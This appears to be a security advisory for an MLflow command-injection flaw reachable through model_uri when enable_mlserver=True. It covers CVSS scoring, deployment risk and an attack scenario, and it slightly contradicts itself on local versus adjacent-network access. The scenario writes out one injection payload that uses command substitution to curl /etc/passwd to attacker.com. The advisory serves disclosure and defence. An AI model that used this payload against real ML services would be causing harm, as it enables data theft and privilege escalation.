Mlflow CVE-2026-0596

MLflow with enable_mlserver=True parameter set during model serving. Attacker with low-privilege local access can craft malicious model_uri with shell metacharacters ($(), backticks). Privilege escalation possible if higher-privileged service serves models from attacker-writable directory.

The CVSS 9.6 Critical score reflects severe technical characteristics: adjacent network attack vector (AV:A), low complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N), and scope change (S:C) with complete confidentiality, integrity, and availability impact. However, the adjacent network requirement (AV:A) significantly constrains exploitation compared to internet-exposed vulnerabilities-attackers need network access to the MLflow serving infrastructure, typical in internal MLOps/data science environments. The privilege escalation dimension is particularly concerning in multi-tenant scenarios where unprivileged users can specify model_uri values processed by privileged MLflow services. Without EPSS data or KEV listing, real-world exploitation probability remains uncertain, but the low attack complexity and no authentication requirement elevate risk once network access is achieved. The technical impact is automatable once initial access is obtained. Primary risk exists in shared ML platform deployments, Kubernetes-based MLOps pipelines, and environments where model serving configurations accept user-controlled inputs. Organizations not using enable_mlserver=True or lacking adjacent network access to MLflow services face significantly reduced risk.

An attacker with access to an organization's internal machine learning platform network identifies an MLflow instance serving models with enable_mlserver=True. The attacker crafts a malicious model_uri value such as 'models/test$(curl attacker.com/exfil?data=$(cat /etc/passwd))' and submits it through a model deployment API or configuration interface accessible to data scientists. When the MLflow service processes this request, the bash -c command execution interprets the embedded command substitution, exfiltrating sensitive files to the attacker's server. In multi-tenant environments, a lower-privileged data science user could exploit this to execute commands as the higher-privileged MLflow service account, potentially compromising the entire ML infrastructure, stealing model artifacts, training data, or pivoting to connected systems.